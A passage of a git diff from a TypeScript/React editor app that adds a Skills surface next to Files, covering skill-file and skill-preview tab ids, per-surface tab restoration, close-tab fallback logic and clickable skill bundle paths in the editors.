const bridge = getDesktopBridge();
if (bridge) {
@@ -1352,6 +1481,28 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
p.setActive(docName);
} else {
p.clearActive();
+ if (target.kind === 'skills') {
+ // Skills is a new-tab surface, not a standing titled tab: focus an
+ // existing skills new tab or open one, so it reads as "New tab" and
+ // never persists across reloads. Renders via `isSkillsNewTabId`
+ // (activeTarget stays null), same path as a `+`-opened skills new tab.
+ const existing = newTabIdsRef.current.find(isSkillsNewTabId);
+ if (existing) {
+ commitActiveNewTabId(existing);
+ } else {
+ const nextNewTabId = `${SKILLS_NEW_TAB_PREFIX}${nextNewTabOrdinalRef.current}`;
+ nextNewTabOrdinalRef.current += 1;
+ commitNewTabIds([...newTabIdsRef.current, nextNewTabId]);
+ commitActiveNewTabId(nextNewTabId);
+ }
+ commitActiveTabId(null);
+ setActiveTarget(null);
+ // Opening the Skills surface re-arms autofollow (commitActiveTabId(null)
+ // above does not), so `skillFocused` tracks the skills new tab even if a
+ // Files pin was active.
+ setSkillsSidebarState(null);
+ return;
+ }
const nextTabId = tabIdForNavigationTarget(target);
if (nextTabId) {
const opened = openTab(openTabsRef.current, nextTabId, {
@@ -1408,25 +1559,65 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
return;
}
if (tab.kind === 'skill-file') {
+ // Carry the host through: dropping it here would re-resolve the file
+ // against whichever same-named skill a bare name lookup lands on, so
+ // re-activating the tab could swap in another skill's bytes.
setActiveTarget({
kind: 'skill-file',
- target: `${tab.scope}/${tab.name}/${tab.path}`,
+ target: `${tab.scope}/${tab.name}${tab.host ? `:${tab.host}` : ''}/${tab.path}`,
+ scope: tab.scope,
+ name: tab.name,
+ path: tab.path,
+ ...(tab.host ? { host: tab.host } : {}),
+ });
+ const nextHash = hashFromSkillFile({
scope: tab.scope,
name: tab.name,
path: tab.path,
+ ...(tab.host ? { host: tab.host } : {}),
+ });
+ if (window.location.hash !== nextHash) window.location.hash = nextHash;
+ return;
+ }
+ if (tab.kind === 'skill-preview') {
+ // The tab IDENTITY is path-less (one preview tab), so the selected-file
+ // `path` lives only in the hash. Preserve it only when that hash describes
+ // THIS preview; otherwise a bundle path selected in the prior preview
+ // would leak into the newly activated tab.
+ const hashPath = selectedPathForSkillPreview(window.location.hash, tab);
+ const previewTarget = {
+ flavor: tab.flavor,
+ source: tab.source,
+ name: tab.name,
+ subtitle: tab.subtitle,
+ level: tab.level,
+ ...(hashPath ? { path: hashPath } : {}),
+ };
+ setActiveTarget({
+ kind: 'skill-preview',
+ target: `${tab.flavor}/${tab.source}/${tab.name}`,
+ ...previewTarget,
});
- const nextHash = hashFromSkillFile({ scope: tab.scope, name: tab.name, path: tab.path });
+ const nextHash = hashFromSkillPreview(previewTarget);
if (window.location.hash !== nextHash) window.location.hash = nextHash;
return;
}
- setActiveTarget({ kind: 'folder', target: tab.folderPath, folderPath: tab.folderPath });
- const nextHash = hashFromFolderPath(tab.folderPath);
- if (window.location.hash !== nextHash) window.location.hash = nextHash;
+ if (tab.kind === 'folder') {
+ setActiveTarget({ kind: 'folder', target: tab.folderPath, folderPath: tab.folderPath });
+ const nextHash = hashFromFolderPath(tab.folderPath);
+ if (window.location.hash !== nextHash) window.location.hash = nextHash;
+ }
+ // A `skills` tab id is unreachable here (isValidTabId prunes it so it never
+ // enters the open-tab list) — no branch, so it no-ops rather than restoring
+ // the retired standing Skills tab.
};
const openNewTabById = () => {
- // Open a blank tab — additive, no close-during-restore mark.
- const nextNewTabId = `new-tab:${nextNewTabOrdinalRef.current}`;
+ // Open a blank tab — additive, no close-during-restore mark. Inherit the
+ // current surface (incl. an explicit Files/Skills pin) so a new tab opened
+ // from Skills lands on the Skills home, not the Files empty state.
+ const prefix = skillFocused ? SKILLS_NEW_TAB_PREFIX : NEW_TAB_PREFIX;
+ const nextNewTabId = `${prefix}${nextNewTabOrdinalRef.current}`;
nextNewTabOrdinalRef.current += 1;
commitNewTabIds([...newTabIdsRef.current, nextNewTabId]);
commitActiveNewTabId(nextNewTabId);
@@ -1441,10 +1632,51 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
}
};
+ // Files/Skills toggle. `null` just re-arms autofollow. An explicit surface
+ // choice restores that surface's last-active tab (so the editor swaps to it),
+ // or — when it has none open — pins the surface and clears the editor so its
+ // empty/home state shows. A no-op when already on the requested surface.
+ const setSkillsSidebar = (next: boolean | null) => {
+ if (next === null) {
+ setSkillsSidebarState(null);
+ return;
+ }
+ const targetMode = next ? 'skills' : 'files';
+ if ((skillFocused ? 'skills' : 'files') === targetMode) {
+ setSkillsSidebarState(next);
+ return;
+ }
+ const remembered = activeTabByModeRef.current[targetMode];
+ if (remembered && openTabsRef.current.includes(remembered)) {
+ // activateTabById re-arms autofollow; `skillFocused` then tracks the
+ // restored tab's own surface, which equals targetMode.
+ activateTabById(remembered);
+ return;
+ }
+ // Target surface has no open tab → pin it and clear the editor so its
+ // empty/home surface renders (Skills hub for skills, "create" for files).
+ setSkillsSidebarState(next);
+ if (collabUrl !== null) getPool(collabUrl).clearActive();
+ commitActiveNewTabId(null);
+ commitActiveTabId(null);
+ setActiveTarget(null);
+ if (window.location.hash !== '') window.location.hash = '';
+ };
+
const closeTabById = (tabId: string) => {
if (pinnedTabIdsRef.current.includes(tabId)) return;
- if (!openTabsRef.current.includes(tabId)) return;
+ if (!openTabsRef.current.includes(tabId)) {
+ // A tab the user can SEE must always be closable. `visibleTabIds` is
+ // normally a subset of openTabs ∪ newTabIds, but if the two ever diverge
+ // the strip renders a tab whose close is a silent no-op — un-closable
+ // short of a restart. Prune it here rather than returning into that trap.
+ if (visibleTabIdsRef.current.includes(tabId)) {
+ commitVisibleTabIds(visibleTabIdsRef.current.filter((id) => id !== tabId));
+ }
+ return;
+ }
markTabSessionClosedDuringRestore();
+ const closingIsSkill = tabIdIsSkillSurface(tabId);
let nextActiveTabId: string | null = null;
const closingDocName = docNameForTabId(tabId);
pushRecentlyClosedTabs([tabId]);
@@ -1457,7 +1689,10 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
const currentActiveTabId =
activeTabId ?? activeTabIdForTarget(activeTarget, snapshot.activeDocName);
updateOpenTabs((current) => {
- nextActiveTabId = nextActiveTabAfterClose(current, currentActiveTabId, tabId);
+ // Pick the successor from the SAME surface, so closing the last Skills tab
+ // lands on the Skills empty state instead of jumping to a Files tab.
+ const sameSurface = current.filter((id) => tabIdIsSkillSurface(id) === closingIsSkill);
+ nextActiveTabId = nextActiveTabAfterClose(sameSurface, currentActiveTabId, tabId);
return removeOpenTab(current, tabId);
});
if (currentActiveTabId !== tabId) return;
@@ -1466,6 +1701,9 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
window.location.hash = hashFromTabId(nextActiveTabId);
return;
}
+ // No tab left on this surface → pin it so its own empty/home state shows
+ // rather than falling back to Files via autofollow.
+ setSkillsSidebarState(closingIsSkill);
if (collabUrl !== null) {
const p = getPool(collabUrl);
p.clearActive();
@@ -1500,12 +1738,20 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
}
commitActiveNewTabId(null);
- const nextActiveTabId = openTabsRef.current[openTabsRef.current.length - 1] ?? null;
+ // Fall back to the most-recent open tab on the closed placeholder's OWN
+ // surface, so closing a Skills "New tab" stays in Skills.
+ const closingNewIsSkill = isSkillsNewTabId(tabId);
+ const sameSurfaceOpen = openTabsRef.current.filter(
+ (id) => tabIdIsSkillSurface(id) === closingNewIsSkill,
+ );
+ const nextActiveTabId = sameSurfaceOpen[sameSurfaceOpen.length - 1] ?? null;
if (nextActiveTabId) {
commitActiveTabId(nextActiveTabId);
window.location.hash = hashFromTabId(nextActiveTabId);
return;
}
+ // Nothing open on this surface → pin it so its empty/home state shows.
+ setSkillsSidebarState(closingNewIsSkill);
if (collabUrl !== null) {
const p = getPool(collabUrl);
p.clearActive();
@@ -1560,9 +1806,12 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
activeTabId,
activeDocName: snapshot.activeDocName,
activeProvider: snapshot.activeProvider,
+ skillsSidebar,
+ setSkillsSidebar,
+ skillFocused,
openTabs,
pinnedTabIds,
- visibleTabIds,
+ visibleTabIds: visibleTabIdsForMode,
tabSessionLoaded,
syncState: snapshot.syncState,
serverRestartRecovery: snapshot.serverRestartRecovery,
@@ -1793,12 +2042,18 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
return;
}
- const nextActiveTabId = nextActiveTabAfterCloseMany(openTabs, tabToReplace, staleTabIds);
+ // Keep the successor on the evicted tab's surface, so deleting the open
+ // skill doc lands on the Skills empty state instead of a Files tab.
+ const activeIsSkill = tabIdIsSkillSurface(tabToReplace);
+ const sameSurface = openTabs.filter((id) => tabIdIsSkillSurface(id) === activeIsSkill);
+ const nextActiveTabId = nextActiveTabAfterCloseMany(sameSurface, tabToReplace, staleTabIds);
if (nextActiveTabId) {
commitActiveTabId(nextActiveTabId);
window.location.hash = hashFromTabId(nextActiveTabId);
return;
}
+ // No tab left on this surface → pin it so its empty/home state shows.
+ setSkillsSidebarState(activeIsSkill);
if (collabUrl !== null) {
const p = getPool(collabUrl);
p.clearActive();
diff --git a/packages/app/src/editor/SourceEditor.tsx b/packages/app/src/editor/SourceEditor.tsx
index da7ad2837..d27f3d32c 100644
--- a/packages/app/src/editor/SourceEditor.tsx
+++ b/packages/app/src/editor/SourceEditor.tsx
@@ -39,6 +39,7 @@ import {
SELECTION_STATS_DEBOUNCE_MS,
selectionStatsFromSource,
} from './selection-stats';
+import { createSkillPathLinksSourceExtension } from './skill-path-links-source';
import {
clearPendingSourceNavigation,
consumePendingSourceNavigation,
@@ -301,6 +302,9 @@ export function SourceEditor({
currentDocName: resolvedDocName,
}),
createSourcePolishExtension(),
+ // Skill docs: backticked bundle paths are clickable (shared
+ // contract with the WYSIWYG extension; no-op for normal docs).
+ createSkillPathLinksSourceExtension(resolvedDocName),
// Transient highlight for a mode-switch jump that lands in source.
landingFlashSource(),
lintCompartment.of(createMarkdownLintExtension(linterConfig, docName)),
diff --git a/packages/app/src/editor/TiptapEditor.tsx b/packages/app/src/editor/TiptapEditor.tsx
index 1829343a1..96c32c9e0 100644
--- a/packages/app/src/editor/TiptapEditor.tsx
+++ b/packages/app/src/editor/TiptapEditor.tsx
@@ -60,6 +60,7 @@ import { setEditorSourceMode } from './extensions/editor-mode-context.ts';
import { FrozenTableHeaders } from './extensions/frozen-table-headers.ts';
import { MarkdownLintDecorations } from './extensions/markdown-lint-decorations.ts';
import { sharedExtensions } from './extensions/shared.ts';
+import { SkillPathLinks } from './extensions/skill-path-links';
import { uploadDecorationPlugin } from './image-upload/index.ts';
import type { LandingHandle } from './landing-controller';
import { startWysiwygLanding } from './mode-switch-landing';
@@ -396,6 +397,8 @@ export function buildExtensionList(args: BuildEditorOptionsArgs): AnyExtension[]
placeholder: placeholder ?? "Type '/' for commands",
showOnlyCurrent: true,
}),
+ // Skill docs: backticked bundle paths become clickable (display-only).
+ SkillPathLinks.configure({ docName: provider.configuration.name ?? '' }),
// Collaboration (with `ySyncOptions.mapping` forwarded when a pre-warm
// mapping is supplied) — paired with its currency guard below via
// `buildPrewarmBoundCollaboration`.
diff --git a/packages/app/src/editor/editor-tabs.test.ts b/packages/app/src/editor/editor-tabs.test.ts
index 59d51a611..58aaab596 100644
Binary files a/packages/app/src/editor/editor-tabs.test.ts and b/packages/app/src/editor/editor-tabs.test.ts differ
diff --git a/packages/app/src/editor/editor-tabs.ts b/packages/app/src/editor/editor-tabs.ts
index 75e32ed63..3ac8aa8d2 100644
--- a/packages/app/src/editor/editor-tabs.ts
+++ b/packages/app/src/editor/editor-tabs.ts
@@ -1,9 +1,18 @@
import {
isManagedArtifactDocName,
MANAGED_ARTIFACT_SCOPES,
+ parseExternalSkillDocName,
+ parseManagedArtifactName,
+ parseProjectSkillBundleDoc,
type RenamedAssetMapping,
type SkillScope,
} from '@inkeep/open-knowledge-core';
+import {
+ decodeSkillPreviewSegments,
+ encodeSkillPreviewSegments,
+ type SkillPreviewFlavor,
+ type SkillPreviewHashTarget,
+} from '@/lib/doc-hash';
import { parseProjectSkillContentDocName } from '@/lib/managed-artifact-doc-name';
import { skillDisplayName } from '@/lib/skill-scope';
@@ -17,9 +26,37 @@ interface EditorTabSessionState {
pinnedTabIds: string[];
activeDocName: string | null;
activeTabId: string | null;
+ /**
+ * Last-active tab per surface (Files vs Skills), so a reload can restore the
+ * tab you had open in EACH surface — not just the active one. Each entry is an
+ * open-tab id of its own surface, or null.
+ */
+ activeTabByMode: { files: string | null; skills: string | null };
updatedAt: string | null;
}
+/** An open-tab id valid for `surface`, else null (guards stale/hand-edited state). */
+function surfaceActiveTab(
+ value: unknown,
+ surface: 'files' | 'skills',
+ openTabs: readonly string[],
+): string | null {
+ if (typeof value !== 'string' || !openTabs.includes(value)) return null;
+ return isSkillTabId(value) === (surface === 'skills') ? value : null;
+}
+
+/** A fresh empty session — factory (not a shared const) so callers can't alias it. */
+function emptyTabSessionState(): EditorTabSessionState {
+ return {
+ openTabs: [],
+ pinnedTabIds: [],
+ activeDocName: null,
+ activeTabId: null,
+ activeTabByMode: { files: null, skills: null },
+ updatedAt: null,
+ };
+}
+
export interface RenamedFolderMapping {
fromPath: string;
toPath: string;
@@ -52,7 +89,15 @@ const ASSET_TAB_PREFIX = '\u0000asset:';
// slash (lowercase-hyphen identity), so `scope/name/<path-tail>` parses back
// unambiguously even though `path` may contain slashes.
const SKILL_FILE_TAB_PREFIX = '\u0000skill-file:';
+const SKILL_PREVIEW_TAB_PREFIX = '\u0000skill-preview:';
const TAB_INSTANCE_SEPARATOR = '\u0000doc-tab:';
+// The Skills destination hub was a singleton full-pane tab. Nothing mints this
+// id anymore; the constant survives only to prune it out of legacy persisted
+// state. Matched EXACTLY rather than by `skills:` prefix — it is the one tab id
+// with no `\u0000` sentinel, so a prefix test also swallowed a real content-root
+// doc named `skills:…` (legal on POSIX), leaving it unopenable and routing its
+// hash to the hub.
+const SKILLS_HUB_TAB_ID = 'skills:hub';
const MARKDOWN_TAB_EXTENSION_PATTERN = /\.(md|mdx)$/i;
interface OpenTabOptions {
@@ -87,33 +132,110 @@ function isValidTabId(value: unknown): value is string {
if (base.startsWith(FOLDER_TAB_PREFIX)) return base.length > FOLDER_TAB_PREFIX.length;
if (base.startsWith(ASSET_TAB_PREFIX)) return base.length > ASSET_TAB_PREFIX.length;
if (base.startsWith(SKILL_FILE_TAB_PREFIX)) return parseSkillFileTabBody(base) !== null;
+ // Skills is an ephemeral new-tab surface (`new-tab:skills:*`), never a standing
+ // tab: `openTarget` opens it as a `new-tab:` placeholder that renders the Skills base page
+ // without persisting. Reject the `skills:hub` id here so a stale standing tab
+ // (from before the ephemeral move, or a rebase regression) is pruned on load
+ // instead of restoring Skills as the default tab.
+ if (base === SKILLS_HUB_TAB_ID) return false;
+ if (base.startsWith(SKILL_PREVIEW_TAB_PREFIX)) return parseSkillPreviewTabBody(base) !== null;
return true;
}
-/** The three coordinates a skill-file tab/target round-trips. */
+/** The coordinates a skill-file tab/target round-trips. */
export interface SkillFileTabTarget {
scope: SkillScope;
name: string;
path: string;
+ /**
+ * Which same-named bundle owns this file — two distinct-content skills can
+ * share a name across host dirs, and without this their tabs collide (opening
+ * one focuses the other). Omitted = the by-name default.
+ */
+ host?: string;
}
+/** `:` can't appear in a skill name (`^[a-z0-9-]+$`), so a host suffix on the
+ * name segment can't be mistaken for part of one — which is what keeps tab ids
+ * written before the host existed parsing as host-less. */
+const SKILL_FILE_TAB_HOST_SEP = ':';
+
export function skillFileTabId(target: SkillFileTabTarget): string {
- return `${SKILL_FILE_TAB_PREFIX}${target.scope}/${target.name}/${target.path}`;
+ const named =
+ target.host === undefined
+ ? target.name
+ : `${target.name}${SKILL_FILE_TAB_HOST_SEP}${target.host}`;
+ return `${SKILL_FILE_TAB_PREFIX}${target.scope}/${named}/${target.path}`;
}
-/** Parse the `<scope>/<name>/<path…>` body of a skill-file tab id (post-prefix). */
+/** Parse the `<scope>/<name>[:<host>]/<path…>` body of a skill-file tab id. */
function parseSkillFileTabBody(base: string): SkillFileTabTarget | null {
if (!base.startsWith(SKILL_FILE_TAB_PREFIX)) return null;
const body = base.slice(SKILL_FILE_TAB_PREFIX.length);
const segments = body.split('/');
if (segments.length < 3) return null;
- const [scope, name, ...rest] = segments;
+ const [scope, named, ...rest] = segments;
const path = rest.join('/');
// Validate scope against the known set — a tab id is persisted state that can
// be hand-edited / stale, so an unknown scope must not silently become a
// skill-file target with a bogus scope.
- if (!scope || !name || !path || !isSkillScope(scope)) return null;
- return { scope, name, path };
+ if (!scope || !named || !path || !isSkillScope(scope)) return null;
+ const sep = named.indexOf(SKILL_FILE_TAB_HOST_SEP);
+ const name = sep === -1 ? named : named.slice(0, sep);
+ const host = sep === -1 ? undefined : named.slice(sep + 1);
+ if (!name) return null;
+ return { scope, name, path, ...(host ? { host } : {}) };
+}
+
+/** Same coordinate shape as a skill-preview location hash — a tab id is just the
+ * persisted form. */
+
+export function skillPreviewTabId(target: SkillPreviewHashTarget): string {
+ return `${SKILL_PREVIEW_TAB_PREFIX}${encodeSkillPreviewSegments(target)}`;
+}
+
+/**
+ * Find an already-open preview tab for the SAME LOCAL skill, keyed by
+ * flavor + name + level and IGNORING the volatile `source` path. Both
+ * local-path flavors move under you: a built-in's bundle path can differ
+ * between skills-list refetches, and a detected skill's path carries the
+ * PLUGIN VERSION (`…/plugins/cache/<marketplace>/<plugin>/1.2.679/skills/<name>`)
+ * or moves when its installed copy is deleted and it is re-detected at its
+ * original location. `source` is part of the tab identity, so without this
+ * reuse each such open spawns a DUPLICATE preview tab — two tabs with the same
+ * label, one of which looks un-closeable because closing it leaves its
+ * identical sibling on screen.
+ *
+ * `explore` is deliberately NOT deduped this way: there, `source` is the
+ * marketplace coordinate, and two same-named skills from different repos are
+ * genuinely different previews.
+ *
+ * Returns the tab id to reactivate, or null to open fresh.
+ */
+export function findLocalSkillPreviewTabId(
+ openTabs: readonly string[],
+ flavor: Extract<SkillPreviewFlavor, 'builtin' | 'detected'>,
+ name: string,
+ scope: SkillScope,
+): string | null {
+ for (const id of openTabs) {
+ const tab = parseEditorTabId(id);
+ if (
+ tab.kind === 'skill-preview' &&
+ tab.flavor === flavor &&
+ tab.name === name &&
+ tab.level === scope
+ ) {
+ return id;
+ }
+ }
+ return null;
+}
+
+/** Parse the encoded body of a skill-preview tab id (untrusted, hand-editable). */
+function parseSkillPreviewTabBody(base: string): SkillPreviewHashTarget | null {
+ if (!base.startsWith(SKILL_PREVIEW_TAB_PREFIX)) return null;
+ return decodeSkillPreviewSegments(base.slice(SKILL_PREVIEW_TAB_PREFIX.length));
}
export function docTabId(docName: string): string {
@@ -128,6 +250,8 @@ export function assetTabId(assetPath: string): string {
return `${ASSET_TAB_PREFIX}${assetPath}`;
}
+/** The Skills hub is a singleton tab — one id, no per-instance coordinates. */
+
export function tabParts(
docName: string,
docExt: string,
@@ -141,6 +265,16 @@ export function tabParts(
const display = skillDisplayName(projectSkill);
return { baseName: display, extension: '', label: display, prefix: '' };
}
+ // Editable-unmanaged skill: SKILL.md tab reads as the skill NAME (like managed
+ // skills); a bundle file (`__extskill__/<name>/<rel>`) reads as its file
+ // basename (like any other file tab) — not the synthetic prefix or skill name.
+ const extSkill = parseExternalSkillDocName(docName);
+ if (extSkill) {
+ const display = extSkill.rel
+ ? (extSkill.rel.split('/').pop() ?? extSkill.rel)
+ : skillDisplayName(extSkill.name);
+ return { baseName: display, extension: '', label: display, prefix: '' };
+ }
const slash = docName.lastIndexOf('/');
const baseName = slash < 0 ? docName : docName.slice(slash + 1);
const extension =
@@ -163,7 +297,16 @@ export function tabIdForNavigationTarget(
| { kind: 'folder-index'; docName: string }
| { kind: 'folder'; folderPath: string }
| { kind: 'asset'; assetPath: string }
- | { kind: 'skill-file'; scope: SkillScope; name: string; path: string }
+ | { kind: 'skill-file'; scope: SkillScope; name: string; path: string; host?: string }
+ | { kind: 'skills'; target: string }
+ | {
+ kind: 'skill-preview';
+ flavor: SkillPreviewFlavor;
+ source: string;
+ name: string;
+ subtitle: string;
+ level?: SkillScope;
+ }
| { kind: 'large-file'; docName: string }
| { kind: 'missing'; target: string },
): string | null {
@@ -180,16 +323,30 @@ export function tabIdForNavigationTarget(
return assetTabId(target.assetPath);
case 'skill-file':
return skillFileTabId(target);
+ case 'skills':
+ // No tab id: `isValidTabId` rejects the `skills:` prefix, so one could
+ // never enter `openTabs`. The Skills destination is a sidebar section,
+ // not an editor tab. The arm stays for exhaustiveness.
+ return null;
+ case 'skill-preview':
+ return skillPreviewTabId(target);
}
}
-export function parseEditorTabId(
- tabId: string,
-):
+export function parseEditorTabId(tabId: string):
| { kind: 'doc'; docName: string }
| { kind: 'folder'; folderPath: string }
| { kind: 'asset'; assetPath: string }
- | { kind: 'skill-file'; scope: SkillScope; name: string; path: string } {
+ | { kind: 'skill-file'; scope: SkillScope; name: string; path: string; host?: string }
+ | { kind: 'skills'; target: string }
+ | {
+ kind: 'skill-preview';
+ flavor: SkillPreviewFlavor;
+ source: string;
+ name: string;
+ subtitle: string;
+ level?: SkillScope;
+ } {
const base = baseTabId(tabId);
if (base.startsWith(FOLDER_TAB_PREFIX)) {
return { kind: 'folder', folderPath: base.slice(FOLDER_TAB_PREFIX.length) };
@@ -197,6 +354,13 @@ export function parseEditorTabId(
if (base.startsWith(ASSET_TAB_PREFIX)) {
return { kind: 'asset', assetPath: base.slice(ASSET_TAB_PREFIX.length) };
}
+ if (base === SKILLS_HUB_TAB_ID) {
+ return { kind: 'skills', target: 'skills' };
+ }
+ const skillPreview = parseSkillPreviewTabBody(base);
+ if (skillPreview) {
+ return { kind: 'skill-preview', ...skillPreview };
+ }
const skillFile = parseSkillFileTabBody(base);
if (skillFile) {
return { kind: 'skill-file', ...skillFile };
@@ -209,6 +373,71 @@ export function docNameForTabId(tabId: string): string | null {
return tab.kind === 'doc' ? tab.docName : null;
}
+/**
+ * True when a plain `doc` name belongs to a skill surface — a project skill's
+ * SKILL.md / bundle file (under the skill content root) or a global `__skill__/`
+ * managed artifact. Single source shared with `isSkillFocusedTarget`
+ * (navigation-targets) so the tab-strip mode filter and the sidebar mode never
+ * disagree on what counts as a skill.
+ */
+/**
+ * Whether a tab session may be written back to storage.
+ *
+ * Not simply "did the restore succeed". A failed restore must not clobber a
+ * session we could not READ — but gating on success alone meant one transient
+ * failure disabled persistence for the whole session, silently dropping every
+ * tab opened afterwards. Once the user actually has tabs open, that state is
+ * worth more than the one we failed to read.
+ */
+export function shouldPersistTabSession(restoreSucceeded: boolean, openTabCount: number): boolean {
+ return restoreSucceeded || openTabCount > 0;
+}
+
+export function isSkillDocName(docName: string): boolean {
+ return (
+ parseProjectSkillBundleDoc(docName) != null ||
+ parseManagedArtifactName(docName)?.kind === 'skill' ||
+ parseExternalSkillDocName(docName) != null
+ );
+}
+
+/**
+ * A bundle laid out like a skill but reached by a path `isSkillDocName` does not
+ * name — the host roots it knows all start with a dot (`.claude/skills/…`).
+ *
+ * A skill dir can be a SYMLINK to somewhere else inside the content dir (a repo
+ * that keeps its skills in `plugins/<x>/skills/` and links them into `.agents/`).
+ * Both paths then index as documents, and a relative link in the body can resolve
+ * to the real one — same bytes, a name that reads as ordinary content. Following
+ * a reference out of a skill would drop the sidebar to Files, which looked like
+ * the Skills surface had broken.
+ *
+ * Deliberately NOT folded into `isSkillDocName`: that parser also feeds the CC1
+ * link index and managed-artifact resolution, where a looser shape would mint
+ * skill edges for any document that happens to sit at this path. Widening only
+ * the surface decision keeps the blast radius at "which sidebar is showing".
+ */
+const SKILL_BUNDLE_SHAPED_PATH = /(?:^|\/)skills\/[^/]+\/(?:SKILL|references\/.+)$/;
+
+export function isSkillBundleShapedPath(docName: string): boolean {
+ return SKILL_BUNDLE_SHAPED_PATH.test(docName);
+}
+
+/**
+ * Classify a tab id as belonging to the Skills surface vs the Files surface,
+ * from the id alone (no snapshot lookup). Skill tabs: the skills hub, read-only
+ * bundle-file / skill-preview viewers, and `doc` tabs whose name is a skill doc.
+ */
+export function isSkillTabId(tabId: string): boolean {
+ const tab = parseEditorTabId(tabId);
+ return (
+ tab.kind === 'skills' ||
+ tab.kind === 'skill-file' ||
+ tab.kind === 'skill-preview' ||
+ (tab.kind === 'doc' && (isSkillDocName(tab.docName) || isSkillBundleShapedPath(tab.docName)))
+ );
+}
+
export function normalizeOpenTabs(value: unknown, limit: number): string[] {
if (!Array.isArray(value) || limit <= 0) return [];
const tabs: string[] = [];
@@ -449,6 +678,13 @@ export function filterOpenTabsForKnownTargets(
// path), so they never appear in `pages`/`assetPaths` — keep their tabs so
// a page-list sync doesn't prune the open viewer.
if (tab.kind === 'skill-file') return true;
+ // A pre-install skill preview is a synthetic viewer tab keyed by import
+ // coordinates (not a page) — keep it like skill-file so a page-list sync
+ // doesn't prune the open preview mid-session.
+ if (tab.kind === 'skill-preview') return true;
+ // Skills is an ephemeral new-tab surface, not a standing tab: drop any
+ // persisted `skills:hub` so a page-list sync doesn't resurrect it.
+ if (tab.kind === 'skills') return false;
const markdownStem = stripMarkdownTabExtension(tab.docName);
return (
pages.has(tab.docName) ||
@@ -611,13 +847,7 @@ export function nextActiveTabAfterCloseMany(
export function parseEditorTabSessionState(value: unknown, limit: number): EditorTabSessionState {
if (typeof value !== 'object' || value === null) {
- return {
- openTabs: [],
- pinnedTabIds: [],
- activeDocName: null,
- activeTabId: null,
- updatedAt: null,
- };
+ return emptyTabSessionState();
}
const record = value as Record<string, unknown>;
const rawOpenTabs = normalizeOpenTabs(record.openTabs, Number.MAX_SAFE_INTEGER);
@@ -634,11 +864,21 @@ export function parseEditorTabSessionState(value: unknown, limit: number): Edito
? record.activeDocName
: null;
const activeTab = activeTabId ? parseEditorTabId(activeTabId) : null;
+ const rawActiveByMode: Record<string, unknown> =
+ typeof record.activeTabByMode === 'object' &&
+ record.activeTabByMode !== null &&
+ !Array.isArray(record.activeTabByMode)
+ ? (record.activeTabByMode as Record<string, unknown>)
+ : {};
return {
openTabs,
pinnedTabIds,
activeDocName: activeTab?.kind === 'doc' ? activeTab.docName : null,
activeTabId,
+ activeTabByMode: {
+ files: surfaceActiveTab(rawActiveByMode.files, 'files', openTabs),
+ skills: surfaceActiveTab(rawActiveByMode.skills, 'skills', openTabs),
+ },
updatedAt: typeof record.updatedAt === 'string' ? record.updatedAt : null,
};
}
@@ -647,6 +887,10 @@ export function createEditorTabSessionState(
openTabs: readonly string[],
activeTabId: string | null,
pinnedTabIds: readonly string[] = [],
+ activeTabByMode: { files: string | null; skills: string | null } = {
+ files: null,
+ skills: null,
+ },
now: () => Date = () => new Date(),
): EditorTabSessionState {
const normalized = normalizeOpenTabs(openTabs, Number.MAX_SAFE_INTEGER);
@@ -658,6 +902,10 @@ export function createEditorTabSessionState(
pinnedTabIds: normalizePinnedTabIds(pinnedTabIds, normalized),
activeDocName: activeTab?.kind === 'doc' ? activeTab.docName : null,
activeTabId: normalizedActiveTabId,
+ activeTabByMode: {
+ files: surfaceActiveTab(activeTabByMode.files, 'files', normalized),
+ skills: surfaceActiveTab(activeTabByMode.skills, 'skills', normalized),
+ },
updatedAt: now().toISOString(),
};
}
@@ -672,35 +920,17 @@ export function readLocalTabSessionState(
limit: number,
): EditorTabSessionState {
if (!storage) {
- return {
- openTabs: [],
- pinnedTabIds: [],
- activeDocName: null,
- activeTabId: null,
- updatedAt: null,
- };
+ return emptyTabSessionState();
}
try {
const raw = storage.getItem(key);
if (!raw) {
- return {
- openTabs: [],
- pinnedTabIds: [],
- activeDocName: null,
- activeTabId: null,
- updatedAt: null,
- };
+ return emptyTabSessionState();
}
return parseEditorTabSessionState(JSON.parse(raw), limit);
} catch (err) {
console.warn('[editor-tabs] failed to read local tab session:', err);
- return {
- openTabs: [],
- pinnedTabIds: [],
- activeDocName: null,
- activeTabId: null,
- updatedAt: null,
- };
+ return emptyTabSessionState();
}
}
diff --git a/packages/app/src/editor/extensions/link-resolution.test.ts b/packages/app/src/editor/extensions/link-resolution.test.ts
index 92a0b54c7..54536b22d 100644
--- a/packages/app/src/editor/extensions/link-resolution.test.ts
+++ b/packages/app/src/editor/extensions/link-resolution.test.ts
@@ -323,3 +323,21 @@ describe('makeLinkResolutionAttrsComputer', () => {
expect(computer(makeMarkInfo({ href: null }), null)).toBeNull();
});
});
+
+describe('skill-internal relative links', () => {
+ const SKILL_DOC = '.agents/skills/bake-lume-golden/SKILL';
+ const REF = '.agents/skills/bake-lume-golden/references/per-layer-diagnosis';
+
+ test("a skill's own references/ link resolves against the page cache", () => {
+ const cache = makeCache({
+ pages: [SKILL_DOC, REF],
+ folderPaths: [
+ '.agents/skills/bake-lume-golden',
+ '.agents/skills/bake-lume-golden/references',
+ ],
+ });
+ expect(computeLinkResolutionState('references/per-layer-diagnosis.md', SKILL_DOC, cache)).toBe(
+ 'resolved',
+ );
+ });
+});
diff --git a/packages/app/src/editor/extensions/shared.ts b/packages/app/src/editor/extensions/shared.ts
index c28dd4fed..1ee3ef3f1 100644
--- a/packages/app/src/editor/extensions/shared.ts
+++ b/packages/app/src/editor/extensions/shared.ts
@@ -16,6 +16,7 @@ import { LandingFlash } from '../plugins/landing-flash-wysiwyg';
import { getComponentItems, getInlineComponentItems } from '../slash-command/component-items';
import { getEmbedStarterItems } from '../slash-command/embed-starter-items';
import { getSlashCommandItems } from '../slash-command/items';
+import { getSkillReferenceItems } from '../slash-command/skill-reference-items';
import { BlockMover } from './block-mover';
// BridgeIdPlugin — SelectionStatePlugin consumes it to resolve stable
@@ -98,8 +99,11 @@ export const sharedExtensions = [
// phrasing-only). Client producer-input gate; never in core sharedExtensions.
CellInsertionGate,
SlashCommand.configure({
